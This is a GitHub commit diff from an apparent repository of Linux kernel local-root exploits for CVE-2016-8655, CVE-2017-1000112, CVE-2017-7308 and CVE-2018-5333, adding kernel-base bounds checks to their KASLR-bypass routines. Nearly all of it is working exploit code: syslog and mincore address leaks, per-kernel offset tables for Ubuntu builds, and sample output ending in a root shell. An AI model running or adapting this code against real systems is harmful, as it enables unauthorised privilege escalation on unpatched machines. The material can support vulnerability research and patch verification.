Skip to content

Commit ca9bc79

Browse files
bcolesbcoles
authored
Merge pull request bcoles#30 from bcoles/kernel-base-min-max
Define KERNEL_BASE_MIN and KERNEL_BASE_MAX
2 parents 97ddd74 + d9fbb39 commit ca9bc79

File tree

4 files changed

+82
-56
lines changed

4 files changed

+82
-56
lines changed

‎CVE-2016-8655/chocobo_root.c‎

Lines changed: 26 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
/*
22
chocobo_root.c
33
linux AF_PACKET race condition exploit for CVE-2016-8655.
4-
Includes KASLR and SMEP bypasses.
4+
Includes KASLR and SMEP bypasses. No SMAP bypass.
55
For Ubuntu 14.04 / 16.04 (x86_64) kernels 4.4.0 before 4.4.0-53.74.
66
All kernel offsets have been tested on Ubuntu / Linux Mint.
77
@@ -114,6 +114,8 @@ Updated by <bcoles@gmail.com>
114114
#define ENABLE_KASLR_BYPASS 1
115115

116116
#if ENABLE_KASLR_BYPASS
117+
# define KERNEL_BASE_MIN 0xffffffff00000000ul
118+
# define KERNEL_BASE_MAX 0xffffffffff000000ul
117119
# define ENABLE_KASLR_BYPASS_KALLSYMS 1
118120
# define ENABLE_KASLR_BYPASS_SYSMAP 1
119121
# define ENABLE_KASLR_BYPASS_SYSLOG 1
@@ -666,6 +668,7 @@ void detect_versions() {
666668
}
667669

668670
// * * * * * * * * * * * * * * syslog KASLR bypass * * * * * * * * * * * * * *
671+
// https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-1000112/poc.c
669672

670673
#if ENABLE_KASLR_BYPASS_SYSLOG
671674
#define SYSLOG_ACTION_READ_ALL 3
@@ -694,30 +697,34 @@ int mmap_syslog(char** buffer, int* size) {
694697
unsigned long get_kernel_addr_trusty(char* buffer, int size) {
695698
const char* needle1 = "Freeing unused";
696699
char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
697-
if (substr == NULL) return 0;
700+
if (substr == NULL)
701+
return 0;
698702

699703
int start = 0;
700704
int end = 0;
701705
for (end = start; substr[end] != '-'; end++);
702706

703707
const char* needle2 = "ffffff";
704708
substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
705-
if (substr == NULL) return 0;
709+
if (substr == NULL)
710+
return 0;
706711

707712
char* endptr = &substr[16];
708-
unsigned long r = strtoul(&substr[0], &endptr, 16);
713+
unsigned long addr = strtoul(&substr[0], &endptr, 16);
709714

710-
r &= 0xffffffffff000000ul;
715+
addr &= 0xffffffffff000000ul;
711716

712-
return r;
717+
if (addr > KERNEL_BASE_MIN && addr < KERNEL_BASE_MAX)
718+
return addr;
719+
720+
return 0;
713721
}
714722

715723
unsigned long get_kernel_addr_xenial(char* buffer, int size) {
716724
const char* needle1 = "Freeing unused";
717725
char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
718-
if (substr == NULL) {
726+
if (substr == NULL)
719727
return 0;
720-
}
721728

722729
int start = 0;
723730
int end = 0;
@@ -726,17 +733,19 @@ unsigned long get_kernel_addr_xenial(char* buffer, int size) {
726733

727734
const char* needle2 = "ffffff";
728735
substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
729-
if (substr == NULL) {
736+
if (substr == NULL)
730737
return 0;
731-
}
732738

733739
char* endptr = &substr[16];
734-
unsigned long r = strtoul(&substr[0], &endptr, 16);
740+
unsigned long addr = strtoul(&substr[0], &endptr, 16);
735741

736-
r &= 0xfffffffffff00000ul;
737-
r -= 0x1000000ul;
742+
addr &= 0xfffffffffff00000ul;
743+
addr -= 0x1000000ul;
738744

739-
return r;
745+
if (addr > KERNEL_BASE_MIN && addr < KERNEL_BASE_MAX)
746+
return addr;
747+
748+
return 0;
740749
}
741750

742751
unsigned long get_kernel_addr_syslog() {
@@ -762,6 +771,7 @@ unsigned long get_kernel_addr_syslog() {
762771
#endif
763772

764773
// * * * * * * * * * * * * * * kallsyms KASLR bypass * * * * * * * * * * * * * *
774+
// https://grsecurity.net/~spender/exploits/exploit.txt
765775

766776
#if ENABLE_KASLR_BYPASS_KALLSYMS
767777
unsigned long get_kernel_addr_kallsyms() {
@@ -799,6 +809,7 @@ unsigned long get_kernel_addr_kallsyms() {
799809
#endif
800810

801811
// * * * * * * * * * * * * * * System.map KASLR bypass * * * * * * * * * * * * * *
812+
// https://grsecurity.net/~spender/exploits/exploit.txt
802813

803814
#if ENABLE_KASLR_BYPASS_SYSMAP
804815
unsigned long get_kernel_addr_sysmap() {
@@ -868,7 +879,7 @@ unsigned long get_kernel_addr_mincore() {
868879
for (n = 0; n < getpagesize() / sizeof(unsigned char); n++) {
869880
addr = *(unsigned long*)(&buf[n]);
870881
/* Kernel address space */
871-
if (addr > 0xffffffff00000000 && addr < 0xffffffffff000000) {
882+
if (addr > KERNEL_BASE_MIN && addr < KERNEL_BASE_MAX) {
872883
addr &= 0xffffffffff000000ul;
873884
if (munmap((void*)0x66000000, 0x20000000000))
874885
dprintf("[-] munmap(): %m\n");

‎CVE-2017-1000112/poc.c‎

Lines changed: 25 additions & 19 deletions
Original file line numberDiff line numberDiff line change
@@ -13,6 +13,7 @@
1313
// ---
1414
// $ gcc poc.c -o pwn -Wall
1515
// $ ./pwn
16+
// Linux Kernel UDP Fragmentation Offset (UFO) out-of-bounds write local root (CVE-2017-1000112)
1617
// [.] checking kernel version...
1718
// [.] kernel version '4.8.0-58-generic' detected
1819
// [~] done, version looks good
@@ -85,6 +86,8 @@
8586
#define ENABLE_SMEP_BYPASS 1
8687

8788
#if ENABLE_KASLR_BYPASS
89+
# define KERNEL_BASE_MIN 0xffffffff00000000ul
90+
# define KERNEL_BASE_MAX 0xffffffffff000000ul
8891
# define ENABLE_KASLR_BYPASS_KALLSYMS 1
8992
# define ENABLE_KASLR_BYPASS_SYSMAP 1
9093
# define ENABLE_KASLR_BYPASS_SYSLOG 1
@@ -192,7 +195,6 @@ struct kernel_info kernels[] = {
192195
{ "xenial", "4.8.0-56-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x39d50d, 0x119207, 0x1b170, 0x43a14a, 0x44d4a0, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
193196
{ "xenial", "4.8.0-58-generic", 0xa5d20, 0xa6110, 0x17c55, 0xe56f5, 0x119227, 0x1b170, 0x439e7a, 0x162622, 0x7bd23, 0x12c7f7, 0x64210, 0x49fa0 },
194197

195-
/* Untested:
196198
{ "xenial", "4.8.0-34-lowlatency", 0xa6ed0, 0xa72e0, 0x8d, 0x12e349, 0x11c837, 0x1b3d0, 0x4426aa, 0x4bfe3, 0x7c8c3, 0x130367, 0x64910, 0x4b7d0 },
197199
{ "xenial", "4.8.0-36-lowlatency", 0xa6ed0, 0xa72e0, 0x8d, 0x12e349, 0x11c837, 0x1b3d0, 0x4426aa, 0x4bfe3, 0x7c8c3, 0x130367, 0x64910, 0x4b7d0 },
198200
{ "xenial", "4.8.0-39-lowlatency", 0xa6ec0, 0xa72d0, 0x8d, 0x76172, 0x11c837, 0x1b310, 0x442f8a, 0x108ea3, 0x7c8c3, 0x130367, 0x64910, 0x4b7c0 },
@@ -202,10 +204,8 @@ struct kernel_info kernels[] = {
202204
{ "xenial", "4.8.0-45-lowlatency", 0xa6ec0, 0xa72d0, 0x8d, 0x46c32c, 0x11c837, 0x1b310, 0x442fba, 0x108ea3, 0x7c8c3, 0x130357, 0x64910, 0x4b7c0 },
203205
{ "xenial", "4.8.0-46-lowlatency", 0xa6ec0, 0xa72d0, 0x8d, 0x46c32c, 0x11c837, 0x1b310, 0x442fba, 0x108ea3, 0x7c8c3, 0x130357, 0x64910, 0x4b7c0 },
204206
{ "xenial", "4.8.0-49-lowlatency", 0xa6ed0, 0xa72e0, 0x8d, 0x12e349, 0x11c847, 0x1b310, 0x44312a, 0x41d233, 0x7c8d3, 0x130367, 0x64910, 0x4b7c0 },
205-
{ "xenial", "4.8.0-51-lowlatency", 0xa6ed0, 0xa72e0, 0x8d, 0x12e349, 0x11c847, 0x1b310, 0x44312a, 0x41d233, 0x7c8d3, 0x130367, 0x64910, 0x4b7c0 },
207+
//{ "xenial", "4.8.0-51-lowlatency", 0xa6ed0, 0xa72e0, 0x8d, 0x12e349, 0x11c847, 0x1b310, 0x44312a, 0x41d233, 0x7c8d3, 0x130367, 0x64910, 0x4b7c0 },
206208
{ "xenial", "4.8.0-52-lowlatency", 0xa6ed0, 0xa72e0, 0x8d, 0x12e349, 0x11c847, 0x1b310, 0x44365a, 0x41d763, 0x7c8d3, 0x130367, 0x64910, 0x4b7c0 },
207-
*/
208-
209209
{ "xenial", "4.8.0-53-lowlatency", 0xa6ed0, 0xa72e0, 0x8d, 0xdf526, 0x11c847, 0x1b310, 0x44365a, 0x41d763, 0x7c8d3, 0x130367, 0x64910, 0x4b7c0 },
210210
{ "xenial", "4.8.0-54-lowlatency", 0xa6ed0, 0xa72e0, 0x8d, 0x1b061d, 0x11c847, 0x1b310, 0x44365a, 0x2e791c, 0x7c8d3, 0x130367, 0x64910, 0x4b7c0 },
211211
{ "xenial", "4.8.0-56-lowlatency", 0xa6ed0, 0xa72e0, 0x8d, 0xda43e, 0x11c847, 0x1b310, 0x4436aa, 0x2e796c, 0x7c8d3, 0x130367, 0x64910, 0x4b7c0 },
@@ -589,30 +589,34 @@ int mmap_syslog(char** buffer, int* size) {
589589
unsigned long get_kernel_addr_trusty(char* buffer, int size) {
590590
const char* needle1 = "Freeing unused";
591591
char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
592-
if (substr == NULL) return 0;
592+
if (substr == NULL)
593+
return 0;
593594

594595
int start = 0;
595596
int end = 0;
596597
for (end = start; substr[end] != '-'; end++);
597598

598599
const char* needle2 = "ffffff";
599600
substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
600-
if (substr == NULL) return 0;
601+
if (substr == NULL)
602+
return 0;
601603

602604
char* endptr = &substr[16];
603-
unsigned long r = strtoul(&substr[0], &endptr, 16);
605+
unsigned long addr = strtoul(&substr[0], &endptr, 16);
606+
607+
addr &= 0xffffffffff000000ul;
604608

605-
r &= 0xffffffffff000000ul;
609+
if (addr > KERNEL_BASE_MIN && addr < KERNEL_BASE_MAX)
610+
return addr;
606611

607-
return r;
612+
return 0;
608613
}
609614

610615
unsigned long get_kernel_addr_xenial(char* buffer, int size) {
611616
const char* needle1 = "Freeing unused";
612617
char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
613-
if (substr == NULL) {
618+
if (substr == NULL)
614619
return 0;
615-
}
616620

617621
int start = 0;
618622
int end = 0;
@@ -621,17 +625,19 @@ unsigned long get_kernel_addr_xenial(char* buffer, int size) {
621625

622626
const char* needle2 = "ffffff";
623627
substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
624-
if (substr == NULL) {
628+
if (substr == NULL)
625629
return 0;
626-
}
627630

628631
char* endptr = &substr[16];
629-
unsigned long r = strtoul(&substr[0], &endptr, 16);
632+
unsigned long addr = strtoul(&substr[0], &endptr, 16);
630633

631-
r &= 0xfffffffffff00000ul;
632-
r -= 0x1000000ul;
634+
addr &= 0xfffffffffff00000ul;
635+
addr -= 0x1000000ul;
633636

634-
return r;
637+
if (addr > KERNEL_BASE_MIN && addr < KERNEL_BASE_MAX)
638+
return addr;
639+
640+
return 0;
635641
}
636642

637643
unsigned long get_kernel_addr_syslog() {
@@ -893,7 +899,7 @@ unsigned long get_kernel_addr_mincore() {
893899
for (n = 0; n < getpagesize() / sizeof(unsigned char); n++) {
894900
addr = *(unsigned long*)(&buf[n]);
895901
/* Kernel address space */
896-
if (addr > 0xffffffff00000000 && addr < 0xffffffffff000000) {
902+
if (addr > KERNEL_BASE_MIN && addr < KERNEL_BASE_MAX) {
897903
addr &= 0xffffffffff000000ul;
898904

899905
if (munmap((void*)0x66000000, 0x20000000000))
@@ -979,7 +985,7 @@ void setup_sandbox() {
979985
exit(EXIT_FAILURE);
980986
}
981987
if (unshare(CLONE_NEWNET) != 0) {
982-
dprintf("[-] unshare(CLONE_NEWUSER): %m\n");
988+
dprintf("[-] unshare(CLONE_NEWNET): %m\n");
983989
exit(EXIT_FAILURE);
984990
}
985991

‎CVE-2017-7308/poc.c‎

Lines changed: 17 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -7,7 +7,7 @@
77
//
88
// https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-7308
99
// ---
10-
// $ gcc poc.c -o pwn
10+
// $ gcc poc.c -o pwn -Wall
1111
// $ ./pwn
1212
// Linux Kernel AF_PACKET packet_set_ring heap out-of-bounds write local root (CVE-2017-7308)
1313
// [.] checking kernel version
@@ -93,6 +93,8 @@
9393
#define ENABLE_SMEP_SMAP_BYPASS 1
9494

9595
#if ENABLE_KASLR_BYPASS
96+
# define KERNEL_BASE_MIN 0xffffffff00000000ul
97+
# define KERNEL_BASE_MAX 0xffffffffff000000ul
9698
# define ENABLE_KASLR_BYPASS_KALLSYMS 1
9799
# define ENABLE_KASLR_BYPASS_SYSMAP 1
98100
# define ENABLE_KASLR_BYPASS_SYSLOG 1
@@ -324,7 +326,7 @@ void oob_timer_execute(void *func, unsigned long arg) {
324326
}
325327

326328
void oob_id_match_execute(void *func) {
327-
int s = oob_setup(2048 + XMIT_OFFSET - 64);
329+
oob_setup(2048 + XMIT_OFFSET - 64);
328330

329331
int ps[32];
330332

@@ -513,7 +515,7 @@ unsigned long get_kernel_addr_syslog_xenial() {
513515
int size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0);
514516
if (size == -1) {
515517
dprintf("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER): %m\n");
516-
exit(EXIT_FAILURE);
518+
return 0;
517519
}
518520

519521
size = (size / getpagesize() + 1) * getpagesize();
@@ -523,30 +525,31 @@ unsigned long get_kernel_addr_syslog_xenial() {
523525
size = klogctl(SYSLOG_ACTION_READ_ALL, &buffer[0], size);
524526
if (size == -1) {
525527
dprintf("[-] klogctl(SYSLOG_ACTION_READ_ALL): %m\n");
526-
exit(EXIT_FAILURE);
528+
return 0;
527529
}
528530

529531
const char *needle1 = "Freeing SMP";
530532
char *substr = (char *)memmem(&buffer[0], size, needle1, strlen(needle1));
531-
if (substr == NULL) {
532-
exit(EXIT_FAILURE);
533-
}
533+
if (substr == NULL)
534+
return 0;
534535

535536
for (size = 0; substr[size] != '\n'; size++);
536537

537538
const char *needle2 = "ffff";
538539
substr = (char *)memmem(&substr[0], size, needle2, strlen(needle2));
539-
if (substr == NULL) {
540-
exit(EXIT_FAILURE);
541-
}
540+
if (substr == NULL)
541+
return 0;
542542

543543
char *endptr = &substr[16];
544-
unsigned long r = strtoul(&substr[0], &endptr, 16);
544+
unsigned long addr = strtoul(&substr[0], &endptr, 16);
545+
546+
addr &= 0xfffffffffff00000ul;
547+
addr -= 0x1000000ul;
545548

546-
r &= 0xfffffffffff00000ul;
547-
r -= 0x1000000ul;
549+
if (addr > KERNEL_BASE_MIN && addr < KERNEL_BASE_MAX)
550+
return addr;
548551

549-
return r;
552+
return 0;
550553
}
551554
#endif
552555

‎CVE-2018-5333/cve-2018-5333.c‎

Lines changed: 14 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -75,7 +75,7 @@
7575
// [.] prepare_kernel_cred: ffffffff9f0a50e0
7676
// [.] mmapping fake stack...
7777
// [~] done, fake stack mmapped
78-
// [.] executing payload 402119...
78+
// [.] executing payload 0x402119...
7979
// [+] got root
8080
// # id
8181
// uid=0(root) gid=0(root) groups=0(root)
@@ -116,6 +116,8 @@
116116
#define ENABLE_KASLR_BYPASS 1
117117

118118
#if ENABLE_KASLR_BYPASS
119+
# define KERNEL_BASE_MIN 0xffffffff00000000ul
120+
# define KERNEL_BASE_MAX 0xffffffffff000000ul
119121
# define ENABLE_KASLR_BYPASS_KALLSYMS 1
120122
# define ENABLE_KASLR_BYPASS_SYSMAP 1
121123
# define ENABLE_KASLR_BYPASS_SYSLOG 1
@@ -149,6 +151,7 @@ struct kernel_info kernels[] = {
149151
{ "4.4.0-21-generic #37-Ubuntu", 0xa21c0, 0xa25b0, 0x5d0c5, 0x178157, 0x3f8158, 0x64644, 0x4cc7da },
150152
{ "4.4.0-22-generic #40-Ubuntu", 0xa2220, 0xa2610, 0x5d0c5, 0x178217, 0x3f89e8, 0x64644, 0x7d005 },
151153
{ "4.4.0-24-generic #43-Ubuntu", 0xa2340, 0xa2730, 0x5d0c5, 0x178447, 0x3f98b8, 0x64644, 0x7d125 },
154+
{ "4.4.0-28-generic #47-Ubuntu", 0xa24a0, 0xa2890, 0x5d0c5, 0x178717, 0x3f9f38, 0x64644, 0x585dc },
152155
{ "4.4.0-31-generic #50-Ubuntu", 0xa24a0, 0xa2890, 0x5d0c5, 0x1787a7, 0x3ffed8, 0x64644, 0x7d125 },
153156
{ "4.4.0-38-generic #57-Ubuntu", 0xa2570, 0xa2960, 0x5d0c5, 0x178a97, 0x400968, 0x64634, 0x7d1e5 },
154157
{ "4.4.0-42-generic #62-Ubuntu", 0xa25c0, 0xa29b0, 0x5d0c5, 0x178ac7, 0x400d78, 0x64634, 0x7d1a5 },
@@ -563,17 +566,20 @@ unsigned long get_kernel_addr_syslog_xenial(char* buffer, int size) {
563566

564567
const char* needle2 = "ffffff";
565568
substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
566-
if (substr == NULL) {
569+
570+
if (substr == NULL)
567571
return 0;
568-
}
569572

570573
char* endptr = &substr[16];
571-
unsigned long r = strtoul(&substr[0], &endptr, 16);
574+
unsigned long addr = strtoul(&substr[0], &endptr, 16);
572575

573-
r &= 0xfffffffffff00000ul;
574-
r -= 0x1000000ul;
576+
addr &= 0xfffffffffff00000ul;
577+
addr -= 0x1000000ul;
575578

576-
return r;
579+
if (addr > KERNEL_BASE_MIN && addr < KERNEL_BASE_MAX)
580+
return addr;
581+
582+
return 0;
577583
}
578584

579585
unsigned long get_kernel_addr_syslog() {
@@ -753,7 +759,7 @@ unsigned long get_kernel_addr_mincore() {
753759
for (n = 0; n < getpagesize() / sizeof(unsigned char); n++) {
754760
addr = *(unsigned long*)(&buf[n]);
755761
/* Kernel address space */
756-
if (addr > 0xffffffff00000000 && addr < 0xffffffffff000000) {
762+
if (addr > KERNEL_BASE_MIN && addr < KERNEL_BASE_MAX) {
757763
addr &= 0xffffffffff000000ul;
758764
if (munmap((void*)0x66000000, 0x20000000000))
759765
dprintf("[-] munmap(): %m\n");

0 commit comments

Comments
 (0)